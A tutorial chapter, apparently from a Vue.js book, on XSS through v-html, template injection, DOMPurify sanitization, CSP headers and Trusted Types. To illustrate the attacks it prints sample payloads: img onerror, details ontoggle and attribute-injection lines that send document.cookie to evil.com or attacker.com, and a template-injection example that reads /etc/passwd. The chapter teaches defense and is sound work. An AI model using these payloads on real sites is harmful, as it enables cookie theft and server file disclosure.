Chapter 29

Security: v-html XSS Attack Surface, Template Injection and CSP Defense

Chapter 29: Security — v-html XSS Attack Surface, Template Injection, and CSP Defense Strategy

In 2019, a major Chinese Q&A platform suffered a large-scale XSS attack. The attack vector was rich text editor output rendered without server-side sanitization. The attacker's injected script automatically posted content and followed accounts in users' browsers, affecting over 1 million users — and in Vue applications, the entry point for this class of attack is almost always v-html.

The central question of this chapter: What XSS protections does Vue provide built-in, where are the attack surfaces, and how do you build a defense-in-depth system using DOMPurify and CSP?

After reading this chapter you will understand:


Level 1 · What You Need to Know (1–3 Years Experience)

1.1 Vue's Built-in XSS Protection: How Interpolation Escaping Works

Vue's template system automatically HTML-escapes interpolation expressions {{ }}. This means even if a user inputs HTML tags, Vue displays them as plain text:

<template>
  <!-- User input: <script>alert('xss')</script> -->
  <p>{{ userInput }}</p>
</template>

The actual HTML rendered to the DOM is:

<p>&lt;script&gt;alert('xss')&lt;/script&gt;</p>

The browser displays &lt;script&gt; as the text characters <script> — the script never executes.

Vue's escaping rules (the following characters are escaped):

Character Escaped form
< &lt;
> &gt;
" &quot;
' &#039;
& &amp;

This escaping happens automatically through Vue's internal use of createTextVNode and text node creation during rendering. Developers don't need to handle it manually.

1.2 v-html: The Necessary Evil That Bypasses Auto-Escaping

The v-html directive inserts raw HTML and intentionally skips Vue's automatic escaping. This is necessary when rendering rich text content (like HTML converted from Markdown, or CMS content), but it is also the most common XSS attack surface in Vue applications.

Dangerous usage:

<!-- Extremely dangerous: inserting user input directly into v-html -->
<template>
  <div v-html="userComment"></div>
</template>

If userComment is:

<img src="x" onerror="fetch('https://evil.com/?cookie='+document.cookie)">

This HTML gets inserted into the DOM, the img's onerror event fires, and the attacker captures the user's Cookie.

More subtle attack vectors:

<!-- Using HTML5 attributes — no script tag needed -->
<details open ontoggle="fetch('https://attacker.com/'+btoa(document.cookie))">
  <summary>Click for details</summary>
</details>

<!-- Using SVG -->
<svg><script>alert(document.domain)</script></svg>

1.3 The Only Safe Prerequisite for v-html

There is exactly one prerequisite for safely using v-html: the content source must be trusted.

What does "trusted" mean?

  1. Content is generated by the server (not by user input)
  2. The server has applied strict HTML sanitization before storing or outputting the content
  3. Or the content is sanitized client-side with DOMPurify before rendering

Server-side filtering of special characters is not sufficient. A common misconception:

// Server-side: just replacing < and >
const safeHTML = userInput.replace(/</g, '&lt;').replace(/>/g, '&gt;');

This prevents <script> tag injection, but does nothing against attribute-based XSS:

<!-- Attacker input with no < > characters -->
<div id="safe" onmouseover="alert('xss')">Hover me</div>

1.4 DOMPurify: Client-Side HTML Sanitization

DOMPurify is the most reliable client-side HTML sanitization library available. It parses HTML, removes dangerous elements and attributes, and preserves legitimate formatting tags:

npm install dompurify
npm install @types/dompurify  # for TypeScript projects
<script setup>
import DOMPurify from 'dompurify';

const props = defineProps({
  content: String
});

// Sanitize before rendering
const safeContent = computed(() => DOMPurify.sanitize(props.content));
</script>

<template>
  <div v-html="safeContent"></div>
</template>

DOMPurify's default behavior:

Input Result
<script> tags Removes entire tag and its contents
onerror, onclick, and other event attributes Removes the attribute
javascript: URLs Removes the attribute
<b>, <i>, <p> and other safe tags Preserved
<img src="..."> Preserved (but event attributes removed)

Custom sanitization rules:

// Allow only specific tags (stricter whitelist)
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'target'],
});

// Add a hook: set rel="noopener noreferrer" on all links
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
  if (node.tagName === 'A') {
    node.setAttribute('rel', 'noopener noreferrer');
    node.setAttribute('target', '_blank');
  }
});

1.5 Template Injection: More Dangerous Than XSS

Template Injection means an attacker injects content into a template engine's processing pipeline, causing the engine to execute attacker-crafted code. In Vue, the most common form is dynamically compiling user-input template strings:

// Extremely dangerous! Never do this!
import { compile } from 'vue';

function renderUserTemplate(userInput) {
  // User input could be: {{ $data.__proto__... }} or other malicious expressions
  const render = compile(userInput); // This is equivalent to eval(userInput)
  return render;
}

The difference from XSS:

// Server-side Vue SSR template injection attack example
// Attacker's input:
const maliciousTemplate = `
  {{ require('child_process').execSync('cat /etc/passwd').toString() }}
`;

// If the server dynamically compiles this template...
// The attacker can read the contents of /etc/passwd

Instead of dynamic template compilation, use a configuration-driven approach with whitelisted components:

// Safe alternative: use predefined components + configuration
const allowedComponents = {
  'user-card': UserCard,
  'product-list': ProductList,
};

// Allow users to choose which component to use, but not write template code
const selectedComponent = allowedComponents[userInput] || DefaultComponent;

Level 2 · How It Actually Works (3–5 Years Experience)

2.1 Vue 3's CSP Compatibility Issues

Content Security Policy (CSP) is a browser security mechanism that controls what scripts a page can execute via HTTP response headers:

Content-Security-Policy: default-src 'self'; script-src 'self'

This CSP policy disallows inline scripts and eval(). However, Vue 3's runtime compiler uses new Function() to compile templates, and new Function() under strict CSP is treated as equivalent to eval and is blocked:

// Simplified principle of Vue 3's internal compiler
function compileTemplate(template) {
  const code = generateCode(template); // generate JavaScript code as a string
  return new Function('Vue', code);   // equivalent to eval!
}

Affected scenarios:

<!-- Scenario 1: Using Vue directly in HTML (CDN import, no Vite/webpack compilation) -->
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<div id="app">{{ message }}</div>
<script>
Vue.createApp({ data() { return { message: 'Hello' } } }).mount('#app');
</script>
<!-- Under strict CSP, Vue cannot compile the {{ message }} template → error -->

CSP-compatible solution:

Option A (recommended): Use Vite/webpack pre-compilation

Vite's @vitejs/plugin-vue compiles templates in .vue files into JavaScript render functions at build time. The final bundle does not include the runtime compiler and does not require unsafe-eval:

// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';

export default defineConfig({
  plugins: [vue()],
  // Use vue.runtime.esm-bundler (excludes compiler)
  resolve: {
    alias: {
      'vue': 'vue/dist/vue.runtime.esm-bundler.js'
    }
  }
});

Option B (not recommended): Allow unsafe-eval in CSP

Content-Security-Policy: script-src 'self' 'unsafe-eval'

Allowing unsafe-eval significantly weakens CSP protection. This should only be allowed in development environments.

2.2 Vue 3's Template Compiler Security Design

Vue's template compiler has a whitelist of global variables accessible in templates:

// packages/compiler-core/src/utils.ts
export const GLOBALS_ALLOWED =
  'Infinity,undefined,NaN,isFinite,isNaN,parseFloat,parseInt,decodeURI,' +
  'decodeURIComponent,encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt,console,Error,Symbol'

export const isGloballyAllowed = /*#__PURE__*/ makeMap(GLOBALS_ALLOWED);

Accessing globals not on this whitelist triggers a compiler warning:

<!-- This produces a compile-time warning -->
<template>
  <!-- Warning: 'window' is not defined in templates -->
  {{ window.location.href }}
</template>

However, this sandbox does not protect against runtime dynamic compilation of user input, because attackers can escape the sandbox through prototype chain access.

2.3 Defense-in-Depth XSS Prevention Architecture

Correct XSS defense should be layered:

User Input
    │
    ▼
┌───────────────────────────────────────┐
│  Layer 1: Input Validation (frontend) │
│  - Format checks (email/phone/URL)    │
│  - Length limits                      │
│  - But never rely on this for security│
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  Layer 2: Server-Side Sanitization    │
│  (required)                           │
│  - Parse HTML, apply tag/attr whiteli.│
│  - Use DOMPurify (server) / Bleach    │
│  - Sanitize before storing to DB      │
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  Layer 3: Output Escaping (Vue auto)  │
│  - {{ }} auto-escapes HTML            │
│  - v-html: second sanitization with  │
│    DOMPurify before rendering         │
└──────────────────┬────────────────────┘
                   │
                   ▼
┌───────────────────────────────────────┐
│  Layer 4: CSP (browser policy)        │
│  - Even if all three layers fail, CSP │
│    can still block injected scripts   │
│  - Report CSP violations to monitoring│
└───────────────────────────────────────┘

2.4 Configuring Nginx CSP Response Headers

Production CSP configuration example:

# nginx.conf
server {
  # Strict CSP: no eval, only scripts from the same origin
  add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-{RANDOM_NONCE}';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.yourdomain.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    report-uri /csp-report;
  " always;
  
  # Prevent clickjacking
  add_header X-Frame-Options "DENY" always;
  
  # Prevent MIME type sniffing
  add_header X-Content-Type-Options "nosniff" always;
  
  # Force HTTPS
  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}

2.5 Supply Chain Security for Dependencies

XSS attacks don't always come from user input — they can also come from maliciously modified npm packages:

The 2021 ua-parser-js incident: This package with over 7 million weekly downloads was taken over by attackers who injected password-stealing and Monero mining scripts, affecting countless downstream projects.

Defensive measures:

# Regularly check for dependency vulnerabilities
npm audit

# Auto-fix
npm audit fix

Lock dependency versions (package-lock.json):

// package.json
{
  "dependencies": {
    "some-lib": "1.2.3"  // Use exact versions, not ^ or ~
  }
}

Subresource Integrity (SRI) (integrity verification for CDN resources):

<!-- When using CDN, add integrity attribute -->
<script
  src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.global.min.js"
  integrity="sha384-[hash]"
  crossorigin="anonymous">
</script>

If a CDN file is tampered with, the SRI hash won't match and the browser refuses to load it.


Level 3 · Design Documents and Source Code (Senior Developers)

3.1 Vue 3 Interpolation Escaping Source Code

When Vue's template compiler handles interpolation expressions, the generated code calls toDisplayString rather than directly outputting values:

// packages/runtime-core/src/helpers/toDisplayString.ts
export const toDisplayString = (val: unknown): string => {
  return isString(val)
    ? val
    : val == null
    ? ''
    : isArray(val) || (isObject(val) && (val.toString === objectToString || !isFunction(val.toString)))
    ? JSON.stringify(val, replacer, 2)
    : String(val);
};

Wait — toDisplayString doesn't do HTML escaping?

The escaping actually happens at the DOM operation layer. When Vue calls createTextVNode(toDisplayString(value)), it creates a text node (document.createTextNode()), not an HTML node. Text nodes inherently don't parse HTML, so no explicit escaping is needed.

// packages/runtime-dom/src/nodeOps.ts
const nodeOps: Omit<RendererOptions<Node, Element>, 'patchProp'> = {
  // Creates a text node (does not parse HTML)
  createText: text => doc.createTextNode(text),
  
  // Sets text content (does not parse HTML)
  setText: (node, text) => {
    node.nodeValue = text;  // sets nodeValue directly, not innerHTML
  },
  
  // Sets element text (does not parse HTML)
  setElementText: (el, text) => {
    el.textContent = text;  // textContent does not parse HTML
  },
};

The critical distinction:

3.2 The v-html DOM Operation Implementation

// packages/runtime-dom/src/modules/innerHTML.ts (simplified)
export const patchDOMProp = (
  el: any,
  key: string,
  value: any,
) => {
  if (key === 'innerHTML' || key === 'textContent') {
    el[key] = value == null ? '' : value;
    return;
  }
  // ...
};

v-html="someValue" compiles to:

// Compiled render function (simplified)
function render(_ctx) {
  return createElementVNode('div', {
    innerHTML: _ctx.someValue  // passed directly to innerHTML — no escaping
  });
}

3.3 Trusted Types API: Next-Generation DOM XSS Defense

Chrome supports the Trusted Types API, which requires all dangerous operations like innerHTML and eval to go through a "trusted type" policy:

// Create a Trusted Types policy
const policy = trustedTypes.createPolicy('vue-dompurify', {
  createHTML: (dirty) => DOMPurify.sanitize(dirty, {
    RETURN_TRUSTED_TYPE: true
  }),
});

// Register a global sanitization directive in Vue
app.directive('safe-html', {
  mounted(el, binding) {
    el.innerHTML = policy.createHTML(binding.value);
  },
  updated(el, binding) {
    el.innerHTML = policy.createHTML(binding.value);
  }
});

Enable Trusted Types in CSP:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types vue-dompurify

Level 4 · Edge Cases and Traps (For Everyone)

Trap 1: Believing Server-Side < > Filtering Makes v-html Safe

Wrong assumption:

# Server-side (Python)
def sanitize(text):
    return text.replace('<', '&lt;').replace('>', '&gt;')

# Seems safe, but XSS risk remains
safe_text = sanitize(user_input)

Attack vector (XSS without < > characters):

<!-- Attacker input (no <> characters): -->
" onmouseover="fetch('https://attacker.com/?x='+document.cookie)" data-x="

<!-- When this value is inserted into: -->
<div class="{{ user_input }}">content</div>

<!-- Renders as: -->
<div class="" onmouseover="fetch(...)" data-x="">content</div>

Lesson: Attribute-injection XSS and tag-injection XSS are different attack vectors. Filtering <> only is not enough. You must use a professional tool like DOMPurify.

Trap 2: SSR Amplifies v-html XSS Impact

In CSR (client-side rendering), XSS affects only the current user. But in SSR, if an XSS payload is persisted to storage and rendered server-side, it can affect every user who visits the page:

// Nuxt 3 SSR scenario
// If the database stores malicious HTML, server-side rendering injects it into all users' HTML
const { data: article } = await useFetch(`/api/articles/${id}`);
<!-- Dangerous! In SSR, this content flows directly into the HTML stream -->
<div v-html="article.content"></div>

Correct approach: Add sanitization at the Nuxt data layer:

// server/api/articles/[id].get.ts
import DOMPurify from 'isomorphic-dompurify'; // Node.js-compatible DOMPurify

export default defineEventHandler(async (event) => {
  const article = await db.findArticle(getRouterParam(event, 'id'));
  
  // Sanitize at the API layer — safe for both CSR and SSR
  article.content = DOMPurify.sanitize(article.content);
  
  return article;
});

Trap 3: Missing Certain Input Sources When Sanitizing v-html Content

Broken scenario: The developer sanitizes "user input" but misses other sources:

<script setup>
import DOMPurify from 'dompurify';

const props = defineProps({
  userComment: String,  // ✓ user input — sanitized
  adminNote: String,    // ✗ "admin input" — assumed trusted, not sanitized
  markdownHtml: String, // ✗ Markdown parser output — assumed safe, not sanitized
});

const safeComment = computed(() => DOMPurify.sanitize(props.userComment));
</script>

<template>
  <div v-html="safeComment"></div>
  <!-- Dangerous! If an admin account is XSS-attacked, adminNote becomes tainted -->
  <div v-html="adminNote"></div>
  <!-- Dangerous! Some Markdown parsers don't sanitize their output -->
  <div v-html="markdownHtml"></div>
</template>

The correct principle: Every v-html value must be sanitized — no exceptions, including:

// Correct combination of marked + DOMPurify
import { marked } from 'marked';
import DOMPurify from 'dompurify';

const renderMarkdown = (md) => DOMPurify.sanitize(marked.parse(md));

Trap 4: Misusing CSP Nonces in SPAs

Broken scenario: Setting a static nonce in the SPA's index.html:

<!-- index.html (static file) -->
<script nonce="abc123" src="/bundle.js"></script>

Problem: A SPA's index.html is usually a static file cached by CDN. If the nonce is a fixed value, once an attacker discovers it, the CSP becomes useless. Nonces must be randomly generated on every request.

Correct scenario: Nonces only make sense in SSR, where the server generates a new random nonce for each request:

// Nuxt 3 CSP nonce configuration
// nuxt.config.ts
export default defineNuxtConfig({
  security: {
    nonce: true, // generate random nonce per request
    headers: {
      contentSecurityPolicy: {
        'script-src': ["'self'", "'nonce-{{nonce}}'"],
      }
    }
  }
});

For pure SPAs (no SSR), use hash-based CSP instead of nonces:

Content-Security-Policy: script-src 'self' 'sha256-[hash of your bundle]'

Chapter Summary

  1. Interpolation is safe by design; v-html is dangerous by design: {{ }} renders content through text nodes (textContent), which don't parse HTML; v-html uses innerHTML, which directly parses HTML — this is the core security boundary in Vue's XSS protection.

  2. DOMPurify is v-html's required companion: All v-html content must pass through DOMPurify.sanitize() before rendering, regardless of the source — user input, admin input, or third-party API — no exceptions.

  3. Template injection is more dangerous than XSS: Dynamically compiling user-input template strings is equivalent to server-side eval; it can read the filesystem and environment variables. Replace dynamic templates with configuration-driven whitelisted components.

  4. Vue 3 requires unsafe-eval by default in the browser: The runtime compiler uses new Function() to compile templates, which is blocked under strict CSP. The solution is Vite pre-compilation (the standard for production builds) — never allow unsafe-eval in production CSP.

  5. Defense-in-depth is the only reliable strategy: Server-side sanitization + client-side DOMPurify + CSP + SRI — any single layer can have gaps; multiple layers stacked together create genuine protection against XSS penetration.

Rate this chapter
4.9  / 5  (3 ratings)

💬 Comments